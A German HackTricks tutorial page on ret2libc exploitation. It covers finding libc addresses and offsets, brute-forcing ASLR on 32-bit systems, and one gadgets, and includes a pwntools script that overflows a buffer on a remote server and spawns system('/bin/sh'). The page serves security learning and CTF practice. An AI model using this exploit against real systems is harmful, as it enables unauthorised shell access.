Ret2lib
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines verwundbaren Programms auf eine Funktion innerhalb einer Shared Library (z. B. system, execve, strcpy) umzuleiten, anstatt vom Angreifer bereitgestelltes shellcode auf dem stack auszuführen. Der Angreifer erstellt eine payload, die die return address auf dem stack so verändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und sorgt gleichzeitig dafür, dass alle notwendigen Argumente gemäß der calling convention korrekt gesetzt werden.
Beispielschritte (vereinfacht)
- Hole die Adresse der aufzurufenden Funktion (z. B. system) und des aufzurufenden Befehls (z. B. /bin/sh)
- Erzeuge eine ROP chain, um das erste Argument so zu übergeben, dass es auf den Befehlsstring zeigt, und den Ausführungsfluss zur Funktion zu lenken
Adressen finden
- Vorausgesetzt, dass die verwendete
libcdie der aktuellen Maschine ist, kannst du herausfinden, wo sie im Speicher geladen wird mit:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Wenn du überprüfen willst, ob ASLR die Adresse von libc verändert, kannst du Folgendes tun:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Wenn die verwendete libc bekannt ist, lässt sich außerdem der Offset zur Funktion
systemfinden mit:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Wenn die verwendete libc bekannt ist, lässt sich auch der Offset zur Zeichenkette
/bin/shermitteln mit:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Using gdb-peda / GEF
Wenn die verwendete libc bekannt ist, kann man auch Peda oder GEF verwenden, um die Adresse der Funktion system, der Funktion exit und des Strings /bin/sh zu ermitteln:
p system
p exit
find "/bin/sh"
Using /proc/<PID>/maps
Wenn der Prozess bei jeder Interaktion (z. B. ein Netzwerk-Server) Child-Prozesse erzeugt, versuche, diese Datei zu lesen (wahrscheinlich benötigst du Root-Rechte).
Hier findest du genau, wo libc innerhalb des Prozesses geladen ist und wo es bei jedem Child-Prozess geladen wird.
.png)
In diesem Fall wird es bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein)
Unbekannte libc
Es kann sein, dass du die libc, die das Binary lädt, nicht kennst (weil sie sich auf einem Server befindet, auf den du keinen Zugriff hast). In diesem Fall könntest du die Schwachstelle ausnutzen, um einige Adressen zu leak und herauszufinden, welche libc Bibliothek verwendet wird:
Und du findest eine pwntools-Template dafür in:
libc mit 2 Offsets herausfinden
Besuche die Seite https://libc.blukat.me/ und verwende ein paar Adressen von Funktionen innerhalb der libc, um die verwendete Version herauszufinden.
ASLR bei 32-Bit-Systemen umgehen
Diese Brute-Force-Angriffe sind nur für 32-Bit-Systeme nützlich.
- Wenn der exploit lokal ist, kannst du versuchen, die Basisadresse von libc per Brute-Force zu finden (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn du einen remote server angreifst, könntest du versuchen, die Adresse der
libc-Funktionusleepper brute-force zu ermitteln, und ihr z. B. das Argument 10 zu übergeben. Wenn der server 10s länger braucht, um zu antworten, hast du die Adresse dieser Funktion gefunden.
One Gadget
Starte eine Shell, indem du einfach zu einer bestimmten Adresse in libc springst:
x86 Ret2lib Codebeispiel
In diesem Beispiel ist ASLR brute-force in den Code integriert und das verwundbare Binary befindet sich auf einem remote server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib-Codebeispiel
Siehe das Beispiel in:
ARM64 Ret2lib-Beispiel
Im Fall von ARM64 springt die ret-Instruktion dorthin, auf das Register x30 zeigt, und nicht dorthin, auf das Stack-Register zeigt. Daher ist es etwas komplizierter.
Außerdem macht bei ARM64 eine instruction genau das, was die instruction vorgibt (es ist nicht möglich, in die Mitte einer instruction zu springen und sie in neue umzuwandeln).
Siehe das Beispiel in:
Ret-into-printf (oder puts)
Dies ermöglicht ein leak Informationen aus dem Prozess durch Aufruf von printf/puts mit bestimmten Daten als Argument. Zum Beispiel führt das Platzieren der Adresse von puts in der GOT in einen Aufruf von puts zu einem leak der Adresse von puts im Speicher.
Ret2printf
Das bedeutet im Grunde, ein Ret2lib auszunutzen, um es in eine printf format strings vulnerability zu verwandeln, indem man das ret2lib benutzt, um printf mit den Werten aufzurufen, die zum Ausnutzen benötigt werden (klingt nutzlos, ist aber möglich):
Weitere Beispiele & Referenzen
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, wobei ein leak zur Adresse einer Funktion in libc vorliegt, unter Verwendung eines one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled but no PIE, der erste Schritt ist, den Overflow bis zum Byte 0x00 des canary zu füllen, um dann puts aufzurufen und es zu leak-en. Mit dem canary wird ein ROP-Gadget erstellt, um puts aufzurufen und die Adresse von puts aus der GOT zu leaken, und dann ein ROP-Gadget, um
system('/bin/sh')aufzurufen. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, no canary, Stack-Overflow in main von einer child function. ROP-Gadget, um puts aufzurufen, die Adresse von puts aus der GOT zu leaken und dann ein one gadget aufzurufen.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, no pie, no canary, no relro, nx. Verwendet write, um die Adresse von write (libc) zu leaken und ruft ein one gadget auf.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Verwendet einen format string, um den canary vom Stack zu leaken und einen Buffer Overflow, um in system (es steht im GOT) mit der Adresse von
/bin/shzu springen. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, no relro, no canary, nx, pie. Missbrauch einer fehlerhaften Indexierung, um Adressen von libc und heap vom Stack zu leaken. Missbrauche den Buffer Overflow, um ein ret2lib aufzurufen, das
system('/bin/sh')ausführt (die heap-Adresse wird benötigt, um eine Prüfung zu umgehen).
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


